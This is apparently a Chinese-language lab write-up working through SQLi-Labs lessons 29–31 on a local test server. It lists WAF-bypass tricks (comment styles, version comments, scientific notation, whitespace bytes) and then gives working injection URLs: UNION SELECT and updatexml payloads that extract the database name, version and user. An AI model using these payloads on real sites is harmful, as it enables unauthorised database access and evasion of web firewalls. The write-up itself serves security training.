Web应用防火墙(Web Application Firewall, 简称 WAF)基于云安全大数据能力,用于防御SQL注入、XSS跨站脚本、常见Web服务器插件漏洞、木马上传、非授权核心资源访问等OWASP常见攻击,并过滤海量恶意CC攻击,避免您的网站资产数据泄露,保障网站的安全与可用性。
EG(注释):
# -- -- - //5.6.12特性,需要加空格 --+ // /**/ //c风格注释 /**//**/ //多个注释 /*letmetest*/ ; /!00000union/ //假如mysql版本号是5.6.17则00000/10000/../50000都可以用EG(科学记数法):
> id=0e1union selectEG(空白字符):
SQLite3 0A 0D 0C 09 20 MySQL5 09 0A 0B 0C 0D A0 20 PosgresSQL 0A 0D 0C 09 20 Oracle 11g 00 0A 0D 0C 09 20 MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20EG(回车换行):
观察初始界面,好像只知道是GET型数据传输,输入参数为(id),最后好像还有WAF防御(实际上是没有的,没有配置相关的环境),但是还是要先进行注入点的判断; 对参数(id)进行注入点判断; EG:
http://192.168.1.104/sql/Less-29/?id=1 and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-29/?id=1 and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(')代替()进行构造; http://192.168.1.104/sql/Less-29/?id=1' and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-29/?id=1' and 1=2 --+ //服务器返回页面错误(预期错误),参数(id)存在注入,闭合字符为(');判断是否存在SQL语句报错提示 EG:
http://192.168.1.104/sql/Less-29/?id=1'))) and 1=1 --+ //服务器返回页面错误,页面显示有SQL语句报错提示; //存在SQL语句报错提示经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息;
EG:
... http://192.168.1.104/sql/Less-29/?id=1' order by 1,2,3,4 --+ //服务器返回页面错误,猜解字段数为(3),使用UNION联合查询获取信息; http://192.168.1.104/sql/Less-29/?id=1' union select 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+ //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...EG:
http://192.168.1.104/sql/Less-29/?id=0'and(updatexml(1,concat('|',database(),'|',version(),'|',user(),'|'),1))and'1'='1 //服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...获取其他信息的方法如上面示例的一样,至此,SqliLab-29结束(实际没有WAF防御);
观察初始界面,好像只知道是GET型数据传输,输入参数为(id),最后好像还有WAF防御(实际上是没有的,没有配置相关的环境),但是还是要先进行注入点的判断; 对参数(id)进行注入点判断; EG:
http://192.168.1.104/sql/Less-30/?id=1 and 1=1 --+ //服务器返回页面正确(预期正确)(有回显信息),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-30/?id=1 and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(')代替()进行构造; http://192.168.1.104/sql/Less-30/?id=1' and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-30/?id=1' and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(")代替(')进行构造; http://192.168.1.104/sql/Less-30/?id=1" and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-30/?id=1" and 1=2 --+ //服务器返回页面错误(预期错误),参数(id)存在注入,闭合字符为(");判断是否存在SQL语句报错提示 EG:
http://192.168.1.104/sql/Less-30/?id=1"))) and 1=1 --+ //服务器返回页面错误,无SQL语句报错提示,尝试使用("$#@))代替("))))进行构造; http://192.168.1.104/sql/Less-30/?id=1"$#@) and 1=1 --+ //服务器返回页面错误,无SQL语句报错提示; ... //经过测试,判断不存在SQL语句报错提示经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’)),同时发现服务器返回页面存在回显,可以考虑使用UNION联合查询的方式来获取数据库信息;
EG:
... http://192.168.1.104/sql/Less-30/?id=1" order by 1,2,3,4 --+ //服务器返回页面错误,猜解字段数为(3),使用UNION联合查询获取信息; http://192.168.1.104/sql/Less-30/?id=0" union select 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+ //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...获取其他信息的方法如上面示例的一样,至此,SqliLab-30结束(实际没有WAF防御);
观察初始界面,好像只知道是GET型数据传输,输入参数为(id),最后好像还有WAF防御(实际上是没有的,没有配置相关的环境),但是还是要先进行注入点的判断; 对参数(id)进行注入点判断; EG:
http://192.168.1.104/sql/Less-31/?id=1 and 1=1 --+ //服务器返回页面正确(预期正确)(有回显信息),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1 and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(')代替()进行构造; http://192.168.1.104/sql/Less-31/?id=1' and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1' and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(")代替(')进行构造; http://192.168.1.104/sql/Less-31/?id=1" and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1" and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用())代替(')进行构造; http://192.168.1.104/sql/Less-31/?id=1) and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1) and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(])代替())进行构造; http://192.168.1.104/sql/Less-31/?id=1] and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1] and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用(})代替(])进行构造; http://192.168.1.104/sql/Less-31/?id=1} and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1} and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用('')代替(})进行构造; http://192.168.1.104/sql/Less-31/?id=1'' and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1'' and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用('")代替('')进行构造; http://192.168.1.104/sql/Less-31/?id=1'" and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用('))代替('")进行构造; http://192.168.1.104/sql/Less-31/?id=1') and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1') and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用('])代替('))进行构造; http://192.168.1.104/sql/Less-31/?id=1'] and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1'] and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用('})代替('])进行构造; http://192.168.1.104/sql/Less-31/?id=1'} and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1'} and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用("')代替('})进行构造; http://192.168.1.104/sql/Less-31/?id=1"' and 1=1 --+ //服务器返回页面错误(预期正确),尝试使用("")代替("')进行构造; http://192.168.1.104/sql/Less-31/?id=1"" and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1"" and 1=2 --+ //服务器返回页面正确(预期错误),尝试使用("))代替("")进行构造; http://192.168.1.104/sql/Less-31/?id=1") and 1=1 --+ //服务器返回页面正确(预期正确),尝试使用(1=2)进行构造; http://192.168.1.104/sql/Less-31/?id=1") and 1=2 --+ //服务器返回页面错误(预期错误),参数(id)存在注入,闭合字符为("));判断是否存在SQL语句报错提示 EG:
http://192.168.1.104/sql/Less-31/?id=1"))) and 1=1 --+ //服务器返回页面错误,有SQL语句报错提示; //经过测试,判断存在SQL语句报错提示经过对参数(id)测试,发现参数(id)存在注入,闭合字符为(’)),同时发现服务器返回页面存在回显和SQL语句报错提示,可以考虑使用UNION联合查询或者报错注入的方式来获取数据库信息;
EG:
... http://192.168.1.104/sql/Less-31/?id=1") order by 1,2,3,4 --+ //服务器返回页面错误,猜解字段数为(3),使用UNION联合查询获取信息; http://192.168.1.104/sql/Less-31/?id=0") union select 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+ //服务器返回页面正确,发现显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...EG:
http://192.168.1.104/sql/Less-31/?id=1") and updatexml(1,concat('|',database(),'|',version(),'|',user(),'|'),1) --+ //服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@); ...获取其他信息的方法如上面示例的一样,至此,SqliLab-31结束(实际没有WAF防御);
由于本机上并没有配置WAF相关的环境,对于一些绕过WAF防御的策略主要还是集中在文章开始的绕过技巧中说明,而且可以看到,没有配置WAF,寻找注入点和构造payload获取数据库的信息相对比较容易,最后提一下的就是判断注入点的思路,一开始还是要寻找过滤点的,找到了,然后用其他策略去绕过,然后再判断参数是否存在注入,判断成功后再构造payload获取数据库信息。
[如有错误,请指出,拜托了<( _ _ )> !!!]
[参考文档] (从容:我的WafBypass之道(SQL注入篇)https://xz.aliyun.com/t/368)